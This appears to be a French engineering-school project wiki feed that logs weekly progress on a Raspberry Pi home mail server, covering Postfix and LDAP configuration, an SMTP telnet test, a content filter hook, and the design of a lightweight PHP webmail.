Nous avons installé l'agent de transfert de mail Postfix (&amp;lt;code&amp;gt;apt-get install postfix postfix-ldap&amp;lt;/code&amp;gt;) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :&lt;br /&gt;
 telnet ex 25&lt;br /&gt;
 Trying xxx.xxx.xxx.xxx...&lt;br /&gt;
 Connected to intimail.pw.&lt;br /&gt;
 Escape character is '^]'.&lt;br /&gt;
 220 mail.intimail.pw&lt;br /&gt;
 ehlo intimail.pw&lt;br /&gt;
 250-mail.intimail.pw&lt;br /&gt;
 250-PIPELINING&lt;br /&gt;
 250-SIZE 10240000&lt;br /&gt;
 250-VRFY&lt;br /&gt;
 250-ETRN&lt;br /&gt;
 250-ENHANCEDSTATUSCODES&lt;br /&gt;
 250-8BITMIME&lt;br /&gt;
 250 DSN&lt;br /&gt;
 MAIL FROM:toto(arobase)titi.com&lt;br /&gt;
 250 2.1.0 Ok&lt;br /&gt;
 RCPT TO:jvaljean(arobase)intimail.pw&lt;br /&gt;
 250 2.1.5 Ok&lt;br /&gt;
 DATA&lt;br /&gt;
 354 End data with &amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;.&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;br /&gt;
 Subject: Premier Test&lt;br /&gt;
 Here is my test&lt;br /&gt;
 .&lt;br /&gt;
 250 2.0.0 Ok: queued as 0EDFC21428&lt;br /&gt;
 quit&lt;br /&gt;
 221 2.0.0 Bye&lt;br /&gt;
 Connection closed by foreign host.&lt;br /&gt;
&lt;br /&gt;
Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :&lt;br /&gt;
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.&lt;br /&gt;
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions&lt;br /&gt;
&lt;br /&gt;
==== Cyrus SASL ====&lt;br /&gt;
&lt;br /&gt;
Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail. &lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
&lt;br /&gt;
Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une &amp;quot;vue globale&amp;quot;, réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.&lt;br /&gt;
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet &amp;quot;Manage&amp;quot; d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.&lt;br /&gt;
&lt;br /&gt;
Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.&lt;br /&gt;
&lt;br /&gt;
Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).&lt;br /&gt;
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].&lt;br /&gt;
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.&lt;br /&gt;
Notre architecture s'oriente donc sur les schémas suivants :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]&lt;br /&gt;
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]&lt;br /&gt;
&lt;br /&gt;
==== Scripting ====&lt;br /&gt;
&lt;br /&gt;
Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer &amp;lt;code&amp;gt;libswitch-perl&amp;lt;/code&amp;gt; pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]&lt;br /&gt;
&lt;br /&gt;
Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier. &lt;br /&gt;
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur. &lt;br /&gt;
* Un dossier mail, dans lequel sont stockés les mails envoyés&lt;br /&gt;
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8 (09/11/2015) - Postfix et filtrage===&lt;br /&gt;
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt;. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 # service type  private unpriv  chroot  wakeup  maxproc command + args&lt;br /&gt;
 #               (yes)   (yes)   (yes)   (never) (100)&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 smtp       inet  n       -       -       -       -       smtpd&lt;br /&gt;
   -o content_filter=filter&lt;br /&gt;
 filter     unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/path/to/script $queue_id $size $sender $recipient&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :&lt;br /&gt;
 [&lt;br /&gt;
  {&lt;br /&gt;
    &amp;quot;from&amp;quot;: &amp;quot;michel.drucker@gmail.com&amp;quot;,&lt;br /&gt;
    &amp;quot;subject&amp;quot;: &amp;quot;Vivement dimanche&amp;quot;,&lt;br /&gt;
    &amp;quot;timestamp&amp;quot;: &amp;quot;2015-11-8 19:59:53&amp;quot;,&lt;br /&gt;
    &amp;quot;unixtimestamp&amp;quot;: &amp;quot;1447012793&amp;quot;,&lt;br /&gt;
    &amp;quot;queueid&amp;quot;: &amp;quot;48FE03FA87&amp;quot;,&lt;br /&gt;
    &amp;quot;filepath&amp;quot;: &amp;quot;???&amp;quot;,&lt;br /&gt;
    &amp;quot;size&amp;quot;: &amp;quot;1676&amp;quot;,&lt;br /&gt;
    &amp;quot;status&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;pj&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;to&amp;quot;: &amp;quot;jbond@intimail.pw&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
 ]&lt;br /&gt;
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).&lt;br /&gt;
&lt;br /&gt;
Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis &amp;lt;code&amp;gt;user=vmail&amp;lt;/code&amp;gt;. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.&lt;br /&gt;
&lt;br /&gt;
Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9 (16/11/2015)===&lt;br /&gt;
===Semaine 10 (23/11/2015)===&lt;br /&gt;
===Semaine 11 (30/11/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.&lt;br /&gt;
&lt;br /&gt;
D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises &amp;lt;a href&amp;gt; pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.&lt;br /&gt;
&lt;br /&gt;
La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :&lt;br /&gt;
 $('#table').on('click-row.bs.table', function (e, row, $element) {&lt;br /&gt;
     console.log(row, $element);&lt;br /&gt;
     alert(&amp;quot;L'utilisateur d'intimail a cliqué sur &amp;quot;+row);&lt;br /&gt;
 });&lt;br /&gt;
&lt;br /&gt;
On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 12 (07/12/2015)===&lt;br /&gt;
==== Parseur pour les mails entrants ====&lt;br /&gt;
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.&lt;br /&gt;
&lt;br /&gt;
La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :&lt;br /&gt;
 Un mail arrive&lt;br /&gt;
   Le hook de postfix est exécuté&lt;br /&gt;
     Le mail est envoyé via Sendmail --------------------------------------------------------------&amp;gt; Le mail est en attente de délivrement&lt;br /&gt;
     Le script de parsing est lancé                                                                   |&lt;br /&gt;
       Le script vérifie dans les dossiers la présence du nouveau mail                                |&lt;br /&gt;
       et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités      |&lt;br /&gt;
        |                                                                                             v&lt;br /&gt;
        |                                                                                            Le mail est délivré et existe dans le système de fichier&lt;br /&gt;
        v                                                                                             |&lt;br /&gt;
       Le script a trouvé le fichier et le traite &amp;lt;----------------------------------------------------&lt;br /&gt;
 Fin&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle &amp;lt;code&amp;gt;$unixtimestamp.$queueid&amp;lt;/code&amp;gt;. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ &amp;lt;code&amp;gt;filepath&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====Interface Web====&lt;br /&gt;
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton &amp;quot;Write an email&amp;quot;, présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 13 (14/12/2015)===&lt;br /&gt;
&lt;br /&gt;
* Écriture du rapport intermédiaire&lt;br /&gt;
* Réalisation du support de soutenance&lt;br /&gt;
&lt;br /&gt;
===Semaine 14 (04/01/2016)===&lt;br /&gt;
===Semaine 15 (11/01/2016)===&lt;br /&gt;
===Semaine 16 (18/01/2016)===&lt;br /&gt;
===Semaine 17 (25/01/2016)===&lt;br /&gt;
===Semaine 18 (01/02/2016)===&lt;br /&gt;
===Semaine 19 (08/02/2016)===&lt;br /&gt;
===Semaine 20 (15/02/2016)===&lt;br /&gt;
===Semaine 21 (22/02/2016)===&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
Interface web : [https://intimail.pw intiMail.pw]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Projet : [http:// Soon™]&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:P9_LIBAERT_TENEUR_DEC15.pdf&amp;diff=24500</id>
		<title>Fichier:P9 LIBAERT TENEUR DEC15.pdf</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:P9_LIBAERT_TENEUR_DEC15.pdf&amp;diff=24500"/>
				<updated>2015-12-16T12:12:26Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : a téléversé une nouvelle version de « Fichier:P9 LIBAERT TENEUR DEC15.pdf » : Version modifiée, revue avec les commentaires de M. Redon&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Rapport intermédiaire de PFE, Décembre 2015&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:P9_LIBAERT_TENEUR_DEC15.pdf&amp;diff=24462</id>
		<title>Fichier:P9 LIBAERT TENEUR DEC15.pdf</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:P9_LIBAERT_TENEUR_DEC15.pdf&amp;diff=24462"/>
				<updated>2015-12-15T09:16:16Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : a téléversé une nouvelle version de « Fichier:P9 LIBAERT TENEUR DEC15.pdf »&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Rapport intermédiaire de PFE, Décembre 2015&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=24450</id>
		<title>P9 Système d'hébergement domestique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=24450"/>
				<updated>2015-12-15T07:31:53Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Fichiers Rendus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.&lt;br /&gt;
&lt;br /&gt;
Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation. &lt;br /&gt;
&lt;br /&gt;
Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
Matériel obtenu à ce jour :&lt;br /&gt;
* 1 Raspberry Pi 2 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Carte µSD 8 GB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Cable USB/µUSB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Câble RJ45 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.&lt;br /&gt;
&lt;br /&gt;
Nous allons étudier et approfondir les points suivants : &lt;br /&gt;
&lt;br /&gt;
* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX&lt;br /&gt;
* Installer un serveur de messagerie SMTP, et IMAP/POP&lt;br /&gt;
* Investiguer du côté de POSTFIX&lt;br /&gt;
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système&lt;br /&gt;
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)&lt;br /&gt;
&lt;br /&gt;
Ce qui doit pouvoir être fait :&lt;br /&gt;
* Distinction administrateur / utilisateur&lt;br /&gt;
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)&lt;br /&gt;
* Gestion des quotas/espace disque réservé par ex&lt;br /&gt;
* Choix du quota (par qui ? options ?)&lt;br /&gt;
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?&lt;br /&gt;
&lt;br /&gt;
Prévision du Matériel :&lt;br /&gt;
* Raspberry Pi 2&lt;br /&gt;
* Alimentation RPi&lt;br /&gt;
* Carte SD (8Go)&lt;br /&gt;
&lt;br /&gt;
Le module énergétique sera équipé des éléments suivants :&lt;br /&gt;
* 1 MPPT&lt;br /&gt;
* Convertisseur Numérique Analogique : MAX5250&lt;br /&gt;
* Potentiomètre : MCP4261&lt;br /&gt;
* Relai : R561D.56 NTE&lt;br /&gt;
* Résistances : Deux de 100Ω et deux de 10kΩ&lt;br /&gt;
* une LED&lt;br /&gt;
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4 &lt;br /&gt;
* Circuit d'alimentation autonome : cellule photovoltaique &lt;br /&gt;
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)&lt;br /&gt;
*Postfix pour SMTP&lt;br /&gt;
*Dovecot, Courier ou Cyrus pour IMAP/POP3&lt;br /&gt;
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)&lt;br /&gt;
*LMTP &lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion particulière des gros mails et notamment de leurs pièces jointes&lt;br /&gt;
*Bigfile pour un stockage en ligne&lt;br /&gt;
*Décodage base 64 des pièces jointes ? (difficulté++)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion des utilisateurs&lt;br /&gt;
*Plusieurs comptes, en utilisant LDAP&lt;br /&gt;
*La possibilité de s'identifier en tant qu'administrateur&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Listes de diffusion&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Comptes mail temporaires (10 minutes mail like)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Antivirus &amp;amp; Spam&lt;br /&gt;
*ClamAV ou SpamAssassin ou autres : lourd. &lt;br /&gt;
*iptables dans un premier temps.&lt;br /&gt;
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, &amp;quot;boites intelligentes&amp;quot; de spams.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)&lt;br /&gt;
*Record A&lt;br /&gt;
*Record MX&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)&lt;br /&gt;
&lt;br /&gt;
Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3 (05/10/2015)===&lt;br /&gt;
Nous avons précisé les éléments constituants l'interface web :&lt;br /&gt;
* Gestion des comptes (création, modification, suppression d'utilisateurs...)&lt;br /&gt;
* Gestion des listes de diffusions&lt;br /&gt;
* Gestion des quotas&lt;br /&gt;
* Affichage du courrier&lt;br /&gt;
* Gestion de l'antivirus&lt;br /&gt;
&lt;br /&gt;
===Semaine 4 (12/10/2015)===&lt;br /&gt;
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].&lt;br /&gt;
&lt;br /&gt;
Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -x&lt;br /&gt;
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -D &amp;quot;cn=admin, dc=domain,dc=tld&amp;quot; -W&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; décrivant cette structure et l'avons ajoutée avec la commande :&lt;br /&gt;
 ldapadd -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -f ldif/mail_tree.ldif&lt;br /&gt;
